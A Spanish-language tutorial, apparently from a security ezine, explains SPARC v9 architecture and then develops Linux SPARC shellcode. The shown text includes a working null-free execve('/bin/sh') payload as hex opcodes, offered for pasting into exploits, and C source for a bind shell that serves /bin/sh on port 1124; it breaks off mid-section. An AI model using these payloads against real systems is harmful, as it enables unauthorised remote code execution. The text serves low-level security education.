Linux SPARC Shellcodes "El número de instalaciones de UNIX se ha elevado a 10, y se espera que esta cifra aumente." (UNIX Programmer's Manual, segunda edición, junio de 1972. ISBN 0-13-937681-X) 1.- Bibliografía 2.- Licencia 3.- Agradecimientos 4.- Motivación 5.- Arquitectura 5.1.- RISC 5.2.- Load/Store 5.3.- Pipelining 5.4.- Endianness: the NUXI problem 5.5.- Traps 6.- Shellcodes 6.1.- Exec shellcode básica 6.2.- Bind shellcode 6.2.1.- SPARC Stack 6.2.2.- Optimización 6.3.- Client shellcode (connect-back) 6.4.- Shellcode ofuscada (Polymorphic) 7.- Despedida y cierre 1.- Bibliografía Considero importante exponer como primer punto la bibliografía utilizada como apoyo para redactar este documento, de tal forma que el lector pueda acudir rápidamente a los enlaces proporcionados o pueda adquirir los libros referenciados. También así se conocerá de antemano lo que se va a leer. [1] SPARC Architecture, Assembly Language Programming, and C, 2nd Ed. Richard P. Paul 1994, 2000 -Prentice Hall ISBN 0-13-025596-3 [2] The SPARC Architecture Manual, version 9 David L. Weaver / Tom Germond, 1994 -Prentice Hall ISBN 0-13-099227-5 [3] SPARC Assembly Language Reference Manual http://www.cs.umu.se/kurser/5DV074/HT07/mom2/816-1681.pdf [4] Intel 64 and IA-32 Intel Architecture Software Developer's Manual, Vol 1 Intel, 1997-2002 -Intel No es broma [5] System V Application Binary Interface, SPARC Processor Suplement, 3rd Ed http://www.sparc.org/standards/psABI3rd.pdf [6] Phrack [7] NetSearch 2.- Licencia /* * ---------------------------------------------------------------------------- * "THE BEER-WARE LICENSE" (Revision 42): * escribió este texto. Puedes hacer con él lo que te de * la real gana siempre y cuando mantengas esta nota. Si algún día nos conocemos * y crees que este artículo vale la pena, puedes invitarme a una cerveza. * ---------------------------------------------------------------------------- */ 3.- Motivación Existen muchos documentos explicando la creación de shellcodes. En Phrack ya ni siquiera aceptan más artículos sobre este asunto. Sin embargo, es el momento oportuno para ayudar a relanzar el ezine con un texto que cubre un vacío, las shellcodes en Linux SPARC en castellano, así como profundizar en el conocimiento de la CPU -principalmente v9- y entender su ensamblador. 4.- Agradecimientos: + Sic transit gloria mundi, rwlock_t. + A 48bits por publicar el artículo. + A Twiz de Phrack. + A pancake por obligarme a meter mas NOPs de las necesarias. + A Logan por ver screens con asm en horas de curro y no decir nada xD + A Overdrive y a Zosen, por varios motivos. + En la cima del mundo: QSR. + A Richard W. Stevens, Jon B. Postel, Ken Thompson, Brian W. Kernighan, Dennis Ritchie y Mel por ser los magos de la computación. + A todos los %s habituales %(sospechosos). 5.- Arquitectura La arquitectura SPARC -Scalable Processor ARChitecture- es una CPU diseñada originalmente por SUN Microsystems en 1985. Se basa en los primeros diseños RISC de IBM y Berkeley de principios de la década de los años 80, primando principalmente un set de instrucciones u opcodes minimalista con capacidad para ser ejecutado a altas velocidades. Se trata de una arquitectura totalmente abierta y sin propietario cuya marca comercial fue establecida en 1989 mediante la creación de la organización SPARC International Inc, la cual concedió licencias de fabricación a empresas como Fujitsu, Texas u, obviamente, SUN. 5.1.- RISC El diseño de los Reduced Instruction Set Computers se remonta más de 25 años en el tiempo, siendo tres sus características principales: capacidad para direccionar 32 bits, ejecución de una instrucción por ciclo y sistema load/restore. Con el tiempo se ha mostrado como un diseño idóneo para ejecutar instrucciones de forma paralela, crear compiladores más eficientes (debido, por ejemplo, al concepto de Delay Slot que veremos más abajo) o para utilizar direccionamiento "aligned". Asimismo el uso de pocas instrucciones para realizar las mismas operaciones que una CPU CISC ejecutaba mediante una sóla instrucción se observó más rápido. La arquitectura SPARC direccionó 32 bits en sus versiones 7 y 8, dando el salto a los 64 bits en 1993 con la introducción de la versión 9, CPU en la que se basa, mayormente, este artículo. La versión 9 de SPARC se diseñó para ser competitiva durante un largo período de tiempo y se ha demostrado robusta y eficaz a lo largo de 15 años, algo digno de admirar en un campo de avance constante como es el de la investigación informática. Algunas de las mejoras que incluyó la versión 9 de SPARC sobre la versión 8 fueron: + direcciones de 64 bits + implementación superescalar + juego de instrucciones pequeño y simple + cambio de contexto y manejo de traps ultra rápido (hyper-fast traps) + soporte para big- y little-endian A esto hay que añadir la total "backwards compatibility" con la anterior versión de la CPU. 5.2.- Load/Store Se dice que SPARC es un arquitectura de tipo Load/Store. Esto significa que cuando se desea trabajar con un dato que está almacenado en memoria, éste ha de alojarse temporalmente en otro 'sitio' antes de ser utilizado por la CPU para realizar las operaciones pertinentes. ¿Y cuál es ese lugar? Un registro o, más concretamente, un array de registros ("register file" en inglés). Un register file viene a ser un circuito integrado que se utiliza a modo de RAM, almacenando en él los datos o direcciones leídos de memoria. El cutre gráfico en ascii a continuación intenta esclarecer este concepto: --------------------- -------------- | | |------------| M C | | |------------| E | ------- | --------> |------------| M | --> | alu | --- | |------------| O P | | ------- | | |------------| R | | | | <-------- |------------| I | | ---------- | | |------------| A U | | |register|<_| | -------------- | |__| file | | | ---------- | | | --------------------- Siendo un esquema incompleto, espero sirva para ilustrar el funcionamiento de una arquitectura Load/Store: al contrario de un diseño de CPU con stack (no confundir éste stack con el stack de memoria utilizado, por ejemplo, al llamar a una subrutina usando la instrucción call) en el que se almacenan los datos (como podría ser una calculadora), en una máquina RISC los datos o direcciones de memoria pasan de ésta a los registros y sobre ellos opera la ALU, la FPU o cualquier otra unidad. En un diseño Load/Store, la CPU carga (load) desde un registro o almacena (store) en un registro, y ese registro es parte del register file o array de registros. 5.3.- Pipelining El pipelining no está directamente relacionado con el objetivo de este texto, pero puede ser interesante hablar de él aquí por cómo puede influir la i-caché en la ejecución de instrucciones, como veremos en el punto 6.4. El ciclo descrito por Neumann se compone, en arquitectura RISC, de cuatro pasos: + instruction fetch + execute + memory access + store result Al tener cuatro componentes separados y aparentemente independientes entre sí, cuando una instrucción se decodifica y salta al siguiente stage del pipeline, otra instrucción puede ser recogida y decodificada sin esperar a que la primera se haya ejecutado. El ejemplo más básico que se suele dar deja claras las ventajas de utilizar pipelines, pues la velocidad aumenta enormemente: En una ejecución sin pipeline, obtendríamos el resultado de ejecutar dos instrucciones al cabo de 8 ciclos de reloj, mientras que en un diseño "pipelined" llevaríamos a cabo 4 instrucciones en el mismo tiempo: -------------------------------- |F | E | M | W | F | E | M | W | -------------------------------- ejecución sin pipeline: 2 instrucciones, 8 ciclos de reloj ---------------- |F | E | M | W | -------------------- | F | E | M | W | -------------------- | F | E | M | W | --------------------- | F | E | M | W | ----------------- ejecución con pipeline: 4 instrucciones, 7 ciclos de reloj Este diseño favorece, como se observa en la figura anterior, la ejecución de instrucciones en paralelo y, por tanto, el rendimiento es mayor, pero tiene dos inconvenientes: el primero es la carga de instrucciones, y el segundo el concepto conocido como "branching", puntos tratados a continuación. Teniendo presente el anterior esquema, si al procesador se le presentan las siguientes instrucciones: ld [%o0], %o1 sub %o1, %o2, %o3 Cuando haga el load y coja el dato de memoria, estará _al mismo_ tiempo ejecutando la resta y por tanto, al ser una ejecución paralela, el dato cogido podría no ser el esperado. El procesador puede detectar esto y esperar un ciclo de reloj hasta tener el dato correcto, pero se estarán desperdiciando recursos. Ahí entra la optimización del compilador, como se ha reseñado con anterioridad, dejando en manos de éste la decisión de insertar entre ambas instrucciones una tercera que no tenga afectación y que permita no perder un ciclo de CPU. Esto se conoce como "load delay slot". El segundo problema, conocido como "branching delay slot" ocurre cuando una instrucción modifica el flujo del programa. Por ejemplo, una instrucción call para ejecutar una subrutina constituye un branching delay slot. Lo que ocurre aquí es que el procesador no es capaz de esperar un ciclo por sí mismo y ejecuta la siguiente instrucción. Esto, igual que en el caso anterior, al contrario de suponer un problema, puede convertirse en una ventaja para optimizar un código al máximo, pero queda en manos de cada programador y, como hoy en día no se suele programar en ensamblador, es tarea casi exclusiva del compilador. Sin embargo, puede que el lector entienda ahora las muchas instrucciones nop que se observan en muchos códigos justo después de un call, emulando así el comportamiento de la CPU en el caso del load delay slot. En lugar de una nop podríamos asignar un valor a un registro de salida que utilizará la función a la que haga referencia el call y así no perdemos ese ciclo de reloj. 5.4.- Endianness: the NUXI problem Con anterioridad se ha expuesto que una de las características de las arquitecturas RISC es que son big-endian, y concretamente SPARCv9 lo es, con la singularidad adicional de que es capaz de leer datos que estén en little-endian. Incluso es posible mezclar kernel-land en big-endian + userland en little-endian y viceversa. Cuando se portó UNIX a otros computadores distintos del PDP-11, como por ejemplo al minicomputador de la Serie 1 de IBM, y se inició el Sistema Operativo, se observó una anomalía: en lugar de escribir la palabra UNIX por pantalla lo que se leyó fue NUXI, es decir, los bytes se almacenaban al revés: en una arquitectura el byte 'U' del par 'UN' se almacenaba primero por ser el más significativo mientras que en la otra ocurría al revés, el byte LSB -less significant byte- se almacenaba primero. Al parecer la persona que observó este curioso comportamiento era aficionado a las lecturas de Gulliver y llamó big-endian a la solución MSB y little-endian a la solución LSB por cómo los liliputienses denominaban a las partes de un huevo. El siguiente código clarifica el problema: coder@fraga ~ % uname -sm Linux sparc64 coder@fraga ~ % cat endian.c #include int main() { long int i = 15; const char *p = (const char *) &i; if (p[0] == 5) { printf ("Little Endian\n"); } else { printf ("Big Endian\n"); } return (0); } coder@fraga ~ % Si se compila y ejecuta el código propuesto en un diseño big-endian, al ser el primer byte el más importante, mostrará por pantalla la salida 'Big Endian', siendo al contrario en el caso de un CISC (little-endian): coder@fraga ~/tmp % uname -sm ; (gcc endian.c -oendian && ./endian) Linux sparc64 Big Endian coder@fraga ~/tmp % coder@liliput ~/ % uname -sm; (gcc endian.c -oendian && ./endian) Linux i686 Little Endian coder@liliput ~/ % Uno puede pensar que esto puede ser un problema a la hora de localizar un dato de memoria, por ejemplo la dirección de /bin/sh, pero no lo es pues el Sistema ya sabe que se encuentra en una CPU little- o big-endian y lo hace transparente. Además de que no parece totalmente posible realizar una shellcode multiarquitectura por incompatibilidad de instrucciones y/o opcodes, aunque en Phrack sacaron ASS... Donde sí presenta esto un problema es al intercambiar datos por red, y de ahí la existencia de las funciones htons() y stohs() para reordenar los datos recibidos, aunque en el caso de un RISC la función htons() podría ignorarse, al ser big-endian también los datos que viajan por red. 5.5.- Traps Tomando como ejemplo el código anterior para comprobar en qué orden almacena los datos un microprocesador, podemos observar la llamada a la función printf(). Si escarbamos, encontramos que dicha función es un wrapper y que, a fín de cuentas, quien escribe por pantalla es el kernel Linux, y lo hace usando una llamada al sistema, write(). Como el lector ya sabrá, para ejecutar una syscall, se necesita cambiar el modo de ejecución. En SPARC existen dos modos de ejecución: supervisor y user, siendo el primero territorio del kernel y el segundo donde corren los programas que utilizamos. Los procesadores SPARC utilizan traps como un mecanismo unificado para manejar tanto syscalls como excepciones de la CPU además de interrupciones. Un trap en SPARC es una procedure call a la que se invoca tanto en excepciones síncronas como en asíncronas, en traps iniciadas por software y para interrupciones generadas por un dispositivo. En SPARC, para realizar un cambio de contexto y pasar de modo user a modo supervisor se utiliza un trap. Probablemente conozca cómo funciona esto en la arquitectura IA-32, en la que para pasar de ring3 a ring0 se ejecuta la instrucción int, la cual genera una interrupción por software, concretamente la int 0x80. Esto funciona prácticamente de la misma forma en Linux sparc64 a como lo hace en Linux i386 en cuanto al concepto, pero obviamente tanto los registros como las instrucciones cambian. El ensamblador necesario para ejecutar una llamada a sys_write() que mostrara el dígito '1' por pantalla en IA-32 sería el siguiente: mov $0x0, %ebx mov $dir, %ecx mov $0x1, %edx mov $0x4, %eax int 0x80 Mientras que en Linux sparc64 sería: mov 0, %o0 mov $dir, %o1 mov 1, %o2 mov 4, %g1 ta 0x90 La instrucción 'ta' -trap always- se encarga de cambiar a modo supervisor siempre y sin condiciones, aunque existen otras condicionales como 'te' -trap equal- o 'tn' -trap never-. El valor devuelto por la syscall se almacenará en %o0. 6.- Shellcodes Según Wikipedia, una shellcode es un trozo de código máquina incrustado como payload de un exploit para conseguir una shell, siendo ésta una definición razonable aunque posiblemente no completa. Se muestra a continuación un ejemplo de código C válido para cualquier sistema POSIX, el cual ejecuta una llamada a la función printf() estándar de glibc, para, a raíz de éste, generar un códido en ensamblador para sparc64 que realice la misma función: % cat printf.c int main() { printf ("printf() invoked\n"); return (0); } % Si se ejecuta strace sobre el ejecutable ELF generado por GCC, se observa que la función printf() queda convertida, finalmente, en una llamada al sistema para que éste ejecute un write(): % gcc printf.c -o printf % strace -olog ./printf && grep invoked log printf() invoked write(1, "printf() invoked\n", 17) = 17 % Es decir, si lo que queremos es escribir el equivalente a ese código en asm, haremos un call a printf(), pero podemos saltarnos este paso ejecutando una syscall write() con los argumentos preparados y funcionará de igual modo: % cat write.s .global _start _start: mov 1, %o0 set string, %o1 mov 0x11, %o2 mov 4, %g1 ta 0x90 mov 0, %o0 mov 1, %g1 ta 0x90 string: .asciz "write() invoked!\n" % as write.s -o write.o && ld write.o -owrite && ./write write() invoked! % Esta instrucción, 'ta 0x90', invoca un trap usando el valor 0x90, que en Linux sparc64 significa 'cambia a modo supervisor y ejecuta la syscall indicada en el registro %g1'. Hay arquitecturas en las que los argumentos de una syscall se pasan en el stack, pero en SPARC ésto no difiere de IA-32 y se pasan en los registros de salida %oX a no ser que sean más de cinco y se pase un puntero al stack, pero esto ha sido explicado en muchos documentos ya. Como decía, el valor 0x90 indica syscall en Linux sparc64, y está definido en el fichero /usr/include/asm-sparc/traps.h: #define SP_TRAP_SOLARIS 0x88 /* Solaris System Call */ #define SP_TRAP_NETBSD 0x89 /* NetBSD System Call */ #define SP_TRAP_LINUX 0x90 /* Linux System Call */ Si se compila el kernel Linux con soporte para emulación de binarios de Solaris, podemos utilizar 'ta 0x88' como puerta para invocar syscalls, pero si no tenemos dicho soporte y ejecutamos ese trap, veremos un mensaje en el log del kernel Linux parecido a este: For Solaris binary emulation you need solaris module loaded Teniendo esos #define presentes, vamos a continuación a ver algo curioso: usando como base el código ensamblador para ejecutar un write(), intentemos hacer un strace sobre él: % strace ./write execve("./write", ["./write"], [/* 35 vars */]) = 0 syscall: unknown syscall trap 91d02090 000100a8 % Algo ha ocurrido y strace no ha sido capaz de determinar qué trap se ha ejecutado. En algunas shellcodes podemos encontrar la instrucción 'ta 0x8' en Solaris o 'ta 0x10' en Linux. Si cambiamos nuestro 0x90 por 0x10 y volvemos a ejecutar strace, el resultado será el esperado: % strace ./write execve("./write", ["./write"], [/* 35 vars */]) = 0 write(1, "write() invoked!\n", 17write() invoked! ) = 17 exit(0) = ? Process 3699 detached % La explicación a esto es la siguiente: Solaris utiliza los conocidos 'hardware' y 'software' traps. Los traps software son las que se pueden usar con instrucciones tcc (cc = condition code). Cada vez que se ejecuta una tcc, el valor que se le pasa es _sumado_ al valor inicial relativo a la tabla de software traps. De esta forma, en UltraSPARC tenemos que las primeras 256 entradas (0x100) están reservadas, con lo que una instrucción como 'ta 0x10' en realidad transferiría el control a la entrada 0x110, la cual, acorde al fichero arch/sparc64/kernel/ttable.S: sparc64_ttable_tl0: tl0_resv000: BOOT_KERNEL BTRAP(0x1) BTRAP(0x2) BTRAP(0x3) tl0_resv004: BTRAP(0x4) BTRAP(0x5) BTRAP(0x6) BTRAP(0x7) [...] tl0_resv10a: BTRAP(0x10a) BTRAP(0x10b) BTRAP(0x10c) BTRAP(0x10d) BTRAP(0x10e) tl0_resv10f: BTRAP(0x10f) tl0_linux32: LINUX_32BIT_SYSCALL_TRAP tl0_oldlinux64: LINUX_64BIT_SYSCALL_TRAP [...] Como se puede ver se trata de LINUX_32BIT_SYSCALL_TRAP, con lo que se deduce que '0x10' es el valor correcto que se le debe pasar a la instrucción trap always para ejecutar una syscall desde TL=0. ¿Qué ocurre, entonces, con 'ta 0x90'?. Cualquier valor empezando por 0x80, en sun4v se dedican a hypervisor hyper-fast traps y fast traps (los traps hyper-fast son los que tienen codificado el valor del trap en la propia instrucción). 0x80 es un #define HV_FAST_TRAP que se puede localizar en el fichero include/asm-sparc64/hypervisor.h y que sirve para darle velocidad al proceso de cambio de contexto. Entiendo que es algo similar a sysenter en IA-32. Parece que, por algún motivo, strace no sabe cómo interpretar correctamente ese 0x90 mientras que el el SO/compilador sí que entienden que ese 0x90 es 0x80 & 0x10, mientras que strace quizá haga 0x80&0x90 y no sepa interpretarlo. Teniendo todo lo explicado presente, podemos presentar ya una shellcode. La haremos primero en C para después pasarla a asm de sparc64: % cat exec.c #include int main() { execve("/bin/sh", NULL, NULL); } % Compilen eso y ejecútenlo para obtener una bonita shell. Si desensamblamos esto con GDB, obtenemos casi todo el código necesario para programar la shellcode en asm de sparc: (gdb) disas main Dump of assembler code for function main: 0x00010424 : save %sp, -104, %sp 0x00010428 : sethi %hi(0x10400), %g1 0x0001042c : or %g1, 0x1b8, %o0 ! 0x105b8 0x00010430 : clr %o1 0x00010434 : clr %o2 0x00010438 : call 0x2071c 0x0001043c : nop 0x00010440 : mov %g1, %i0 0x00010444 : ret 0x00010448 : restore End of assembler dump. (gdb) Aquí podemos ver tanto el prolog procedure para sparc como la asignación de valores a los registro (dirección del string /bin/sh y los dos NULLs) y la llamada a execve. Es esto último es lo que nos falta para poder terminar de programar un shell.s básico, pero lo podemos sacar fácilmente si compilamos ese mismo código mostrado líneas arriba con el flag -static, quedando el código siguiente: (gdb) disas execve Dump of assembler code for function execve: 0x000191a0 : save %sp, -112, %sp 0x000191a4 : mov %i0, %o0 0x000191a8 : mov %i1, %o1 0x000191ac : mov %i2, %o2 0x000191b0 : mov 0x3b, %g1 0x000191b4 : ta 0x10 0x000191b8 : bcs 0x191c8 0x000191bc : nop 0x000191c0 : ret 0x000191c4 : restore %g0, %o0, %o0 End of assembler dump. (gdb) De esta función deducimos varias cosas: la primera, que Linux utiliza 0x10 como valor para ejecutar tcc's; la segunda, que la syscall execve es la número 59 (/usr/include/asm-sparc64/unistd.h) y la tercera y más importante, que ya tenemos todo lo necesario para programar nuestra primera shellcode en ensamblador para sparc64. 6.1.- Exec Shellcode básica Como hemos visto en el punto anterior, no hacen falta demasiado ingredientes para programar una mini shellcode en asm para sparc64. Hagamos una y la probamos: % cat shellcode.S .global _start _start: save %sp, -96, %sp set string, %o0 mov 0xb, %g1 ta 0x90 mov 1, %g1 ta 0x90 string: .ascii "/bin/sh" % as shellcode.S -o shellcode.o % ld shellcode.o -o shellcode % echo $$ 5913 % ./shellcode % echo $$ 26257 % exit % echo $$ 5913 Ha funcionado. Hemos ejecutado una shell. Sin embargo, como está explicado en muchos documentos, para ejecutar un código, sea el que sea, desde otro programa, deberemos inyectarle los opcodes necesarios y no el código ensamblador. El motivo es obvio: el proceso está en ejecución y lo que espera son cosas que entienda la CPU, y eso son opcodes. Podríamos generarlos al estilo old-school, es decir, a manopla, pero es bastante pesado andar copiando y pegando el x/bx desde GDB, por lo que yo suelo utilizar este programita: int main (int argc, char *argv[]) { unsigned char ch; int a = 1; printf ("char sc[] = \n\""); while (1) { if (read (0, &ch, 1) != 1) break; printf ("\\x%02x", ch); if (!(a++ % 10)) printf ("\"\n\""); } printf ("\";\n"); } Este código lo único que necesita es un argumento válido a partir del cual generar los opcodes. ¿Y cómo le pasamos un argumento válido? Generando un objeto binario. ¿Y cómo lo generamos? Con objcopy. Veamos cómo: % gcc trans.c -o trans # trans.c contiene el código citado arriba % as scode.s -o scode.o # la shellcode % file scode.o scode.o: ELF 32-bit MSB relocatable, SPARC, version 1 (SYSV), not stripped % objcopy -O binary -j .text scode.o scode.bin % ./trans < scode.bin char sc[] = "\x9d\xe3\xbf\xa0\x11\x00\x00\x00\x90\x12" "\x20\x00\x82\x10\x20\x0b\x91\xd0\x20\x90" "\x82\x10\x20\x01\x91\xd0\x20\x90\x2f\x62" "\x69\x6e\x2f\x73\x68"; Y voilà, opcodes listos para copiar y pegar en tu exploit favorito. Pues si ya la tenemos, ejecutémosla en un .c para probar: char sc[] = "\x9d\xe3\xbf\xa0\x11\x00\x00\x00\x90\x12" "\x20\x00\x82\x10\x20\x0b\x91\xd0\x20\x90" "\x82\x10\x20\x01\x91\xd0\x20\x90\x2f\x62" "\x69\x6e\x2f\x73\x68"; int main() { int (*scode)(); scode = (int (*)()) sc; (int)(*scode)(); return (0); } Compilamos y ejecutamos: % echo $$ 9529 % ./a % echo $$ 9529 Algo ha pasado, la shellcode no se ha ejecutado. Bueno, realmente han pasado varias cosas, pero las dos más importantes y que cabe señalar aquí son: 1) que la shellcode no está 'self-contained' y 2) que tiene nulos. Dejaremos de momento los nulos y nos centraremos en resolver el problema número 1, que es el motivo real por el cual no se ha ejecutado el código máquina. Cualquiera que haya leído la especificación de los archivos ELF, habrá podido comprobar que cada ejecutable ELF tiene varias secciones (.data, .text, .bss, etc), y en cada una de ellas se almacenan unos datos del programa. Por ejemplo, el mapa de direcciones a librerías compartidas se almacena en la .got, y es por eso que existen papers para modificar dicha sección y apuntar a donde queramos, o el famoso paper en el que se aprovecha el compilado antiguo de GCC para sobreescribir .dtors. Teniendo esto presente, hemos de idear un sistema para tener en la misma sección que el resto de código la cadena con la shell a ejecutar. En IA-32 esto se hace con el clásico jmp + call/pop para meter en el stack la dirección del string y poder saltar a ella, pero en SPARC esto no se puede hacer directamente así debido al Delay Slot: si se ejecuta un call, la CPU también procesará la siguiente instrucción. Esto es lo explicado más arriba. En algunas shellcodes los autores optan por utilizar la instrucción 'bn', de branch never, que obliga a la CPU a no saltar a la dirección propuesta para después almacenar en algún sitio el valor de %o7 y el offset necesario, pero, aún siendo esto más óptimo en cuanto a uso de recursos de la máquina, creo que lo es menos en cuanto a compactación en bytes de la shellcode, un objetivo siempre buscado. Por eso, lo que se puede hacer es emular el comportamiento del output generado por GNU as: sustituir 'set' por su equivalente autocontenido y sin definir símbolos. Volvamos al código del ejemplo anterior anterior para ver qué símbolos se han definido y cómo podemos solucionar el problema del string en memoria: % as shellcode.S -als -o shellcode.o SPARC GAS shellcode.S page 1 1 .global _start 2 3 _start: 4 5 0000 9DE3BFA0 save %sp, -96, %sp 6 0004 11000000 set string, %o0 6 90122000 7 000c 8210200B mov 0xb, %g1 8 0010 91D02090 ta 0x90 9 0014 82102001 mov 1, %g1 10 0018 91D02090 ta 0x90 11 12 string: 13 001c 2F62696E .ascii "/bin/sh" 13 2F7368 SPARC GAS shellcode.S page 2 DEFINED SYMBOLS shellcode.S:3 .text:0000000000000000 _start shellcode.S:12 .text:000000000000001c string NO UNDEFINED SYMBOLS % El 'set string' que figura en la línea 6 del código, cuyo símbolo vemos referenciado al final del output, es el equivalente a /bin/sh, representado en hexadecimal como 0x2f62696e2f7368. Aquí se presenta el primer inconveniente, y es que al ser SPARC una arquitectura en la que todas las instrucciones están alineadas a 4 bytes, deberemos segmentar la carga del string en memoria en dos pasos, 4 bytes para el string '/bin' y 4 más para '/sh\0', ya que, recordemos, el nulo es necesario para poder ejecutar la shell. La solución pasa por 'cargar' en registros locales la dirección de la shell mediante la instrucción 'sethi', que viene de utilizar 'set' sobre los bits más significativos (recordemos, big-endian) del registro. Esta instrucción tiene dos argumentos, una constante de 22 bits y un registro destino, y el resultado de ejecutarla es que seteará los 22 bits MSB a la constante que le pasemos y hará un clear de los otros 10 bits. Esto es así debido a la naturaleza de la instrucción, que al codificarse necesita dos bits para el valor 00, 5 bits para el encoding del registro destino, 3 bits para el valor 100 y 22 para la constante. 2 + 5 + 3 + 22 = 32. Veamos cómo escribir por pantalla '/bin/sh' usando sethi: % cat binsh.s .align 4 .global _start _start: mov 1, %o0 sethi %hi(0x2F62696E), %l0 sethi %hi(0x2F736800), %l1 and %sp, %sp, %o1 mov 8, %o2 mov 4, %g1 ta 0x10 mov 0, %o0 mov 1, %g1 ta 0x10 % as binsh.s -o binsh.o && ld binsh.o -o binsh % strace ./binsh execve("./binsh", ["./binsh"], [/* 36 vars */]) = 0 write(1, "/bh\0/sh\0", 8/bh/sh) = 8 exit(0) = ? Process 15606 detached % Aquí cabe explicar un par de cosas: la primera, ¿cómo es que hemos utilizado registros locales a ese stack frame si los argumentos de las syscalls se pasan en los registros de salida? Hemos hecho esto porque es una de las formas que tenemos de guardar la dirección del string en %o1 mediante el AND lógico sobre el propio %sp. Bendito SPARC, que acepta operaciones con tres registros. Y la segunda, que lo que realmente guardamos en %o1 es la dirección de la dirección del string, es decir, apuntamos %o1 a %l0, que es donde comienza el string. De todas formas, algo curioso ha pasado: aparecen los nulos establecidos por la instrucción sethi en los 10 bits LSB de los registros, pero también se ha colado una 'h' en lugar de la letra 'i' porque el clear del sethi ha alcanzado algunos de sus bits. Para arreglar el clear que hace sethi podemos utilizar la instrucción lógica 'or' de igual forma que se haría en cualquier otra plataforma o lenguaje. Si hacemos un 'or' sobre un cero con otro valor, ese otro valor prevalecerá, y si ambos valores son iguales, se quedará tal cual. Es justo lo que necesitamos. Probémoslo añadiendo sendos or's: % grep -B1 or binsh2.s sethi %hi(0x2F62696E), %l0 or %l0, %lo(0x2F62696E), %l0 sethi %hi(0x2F736800), %l1 or %l1, %lo(0x2F736800), %l1 % as binsh2.s -o binsh2.o && ld binsh2.o -o binsh2 % strace ./binsh2 execve("./binsh2", ["./binsh2"], [/* 36 vars */]) = 0 write(1, "/bin/sh\0", 8/bin/sh) = 8 exit(0) = ? Process 32182 detached % Ha funcionado correctamente, hemos conseguido el objetivo. Quitemos ese write y pongamos un execve(): .global _start _start: sethi %hi(0x2F62696E), %l0 or %l0, %lo(0x2F62696E), %l0 sethi %hi(0x2F736800), %l1 or %l1, %lo(0x2F736800), %l1 and %sp, %sp, %o0 mov 0xb, %g1 ta 0x10 mov 1, %g1 xor %o1, %o1, %o0 ta 0x10 Este código funcional genera la siguiente representación en hexadecimal: char sc[] = "\x21\x0b\xd8\x9a\xa0\x14\x21\x6e\x23\x0b" "\xdc\xda\xa2\x14\x60\x00\x90\x0b\x80\x0e" "\x82\x10\x20\x0b\x91\xd0\x20\x10\x82\x10" "\x20\x01\x90\x1a\x40\x09\x91\xd0\x20\x10"; Todo bien salvo por una cosa... hay un nulo. ¿Qué instrucción lo está generando? Podemos verlo con GNU as o podemos intuirlo. Pensemos: si antes hemos añadido un nulo a mano al final del string /bin/sh\0, ¿no será ese nulo el causante? Pues sí, lo es: 7 0008 230BDCDA sethi %hi(0x2F736800), %l1 8 000c A2146000 or %l1, %lo(0x2F736800), %l1 Ahí lo tenemos. Llegados a este punto, uno se pregunta cómo quitarlo. Podríamos hacer un xor sobre los bits bajos de %l1, pero la realidad es que no hace falta porque sethi _ya_ nos hace ese trabajo al setear a cero los 10 últimos bits del registro, por lo que si quitamos ese segundo 'or' seguimos teniendo una shellcode funcional y además eliminamos una instrucción, ahorrando 4 bytes: % cat sc.c char sc[] = "\x21\x0b\xd8\x9a\xa0\x14\x21\x6e\x23\x0b" "\xdc\xda\x90\x0b\x80\x0e\x82\x10\x20\x0b" "\x91\xd0\x20\x10\x82\x10\x20\x01\x90\x1a" "\x40\x09\x91\xd0\x20\x10"; int main() { int (*scode)(); scode = (int (*)()) sc; (*scode)(); } % gcc sc.c -o sc % echo $$ 9529 % ./sc % echo $$ 11256 % exit % Finalmente lo hemos conseguido: tenemos una shellcode funcional para Linux SPARC (y que funcionaría en Solaris si se cambiara el código del trap por 0x8) sin nulos. Sin embargo, tal y como se recalca en casi cualquier documento de este tipo, una shellcode como la presentada arriba servirá únicamente en situaciones en las que el escalado de privilegios se ejecute de manera local, ya sea teniendo acceso físico a la máquina en la que se explota o usando una conexión establecida (normalmente por SSH). 6.2.- Bind-Shellcode Hacer una shellcode que escuche en un puerto y responda con una shell no es del todo trivial si se quieren evitar los nulos y no superar los 250 bytes en tamaño. Pero se puede hacer. Partiremos de la versión clasica de microshell remota hecha en C con redirección de las salidas a /bin/sh: #include #include #include #include #include #include #include int main() { struct sockaddr_in sa; char *shell[2]; int sockfd_l, sockfd_a, len; if ((sockfd_l = socket(PF_INET, SOCK_STREAM, 0)) == -1) { perror ("error: socket() ->"); exit (1); } sa.sin_family = AF_INET; sa.sin_port = htons(1124); sa.sin_addr.s_addr = INADDR_ANY; memset(sa.sin_zero, '\0', sizeof sa.sin_zero); len = sizeof(sa); if (bind (sockfd_l, (struct sockaddr *) &sa, len) == -1) { perror("error: bind()"); exit (1); } if (listen (sockfd_l, 1)) { perror ("error: listen()"); exit (1); } if ((sockfd_a = accept(sockfd_l, (struct sockaddr *)&sa, &len)) == -1) { perror ("error: accept()"); exit (1); } if ((dup2 (sockfd_a, 0)) == -1) { perror ("error: dup2(0)"); exit (1); } if ((dup2 (sockfd_a, 1)) == -1) { perror ("error: dup2(1)"); exit (1); } if ((dup2 (sockfd_a, 2)) == -1) { perror ("error: dup2(2)"); exit (1); } shell[0] = "/bin/sh"; shell[1] = NULL; execve (shell[0], shell, NULL); return (0); } vt1: % gcc server.c -o server && ./server vt2: % echo 'id' | nc localhost 1124 uid=1000(coder) gid=100(users) groups=10(wheel),100(users) % Como vemos, funciona. A la hora de pasar a ensamblador este micro server remoto se nos plantean varios frentes con los que lidiar: + Necesitamos averiguar los números de las syscalls que vamos a usar. + Necesitamos obtener los valores de AF_INET, PF_INET, INADDR_ANY, etc. + Hay que evitar usar #includes, por lo que nos toca destripar la struct sockaddr_in para encontrar los tamaños adecuados. Sacar los identificadores de las syscalls es fácil: miramos en el fichero /usr/include/asm-sparc64/unistd.h y hallamos el valor de sys_exit: (1) y... sólo ese, porque si uno se pone a buscar el resto de valores necesario (socket, bind, listen y accept) se da cuenta de que no existen syscalls propias ni para bind() ni para listen(). Esto es normal y marca la diferencia por la cual una shellcode hecha para Solaris no funcionará en Linux y viceversa: en Solaris sí existen syscalls para todas las funciones de red. Como acabamos de ver, tenemos dos problemas: no disponemos de syscalls propias ni para bind() ni para listen(), y ambas son necesarias para establecer el servidor, por lo que tendremos que usar otra vía: socketcall(), el punto de entrada para syscalls de internetworking. De hecho, si compilamos ese pequeño server con -ggdb y ponemos un breakpoint en las llamadas a bind() o a listen() podremos comprobar cómo lo hace el sistema: Breakpoint 1, 0xf7ebf9fc in bind () from 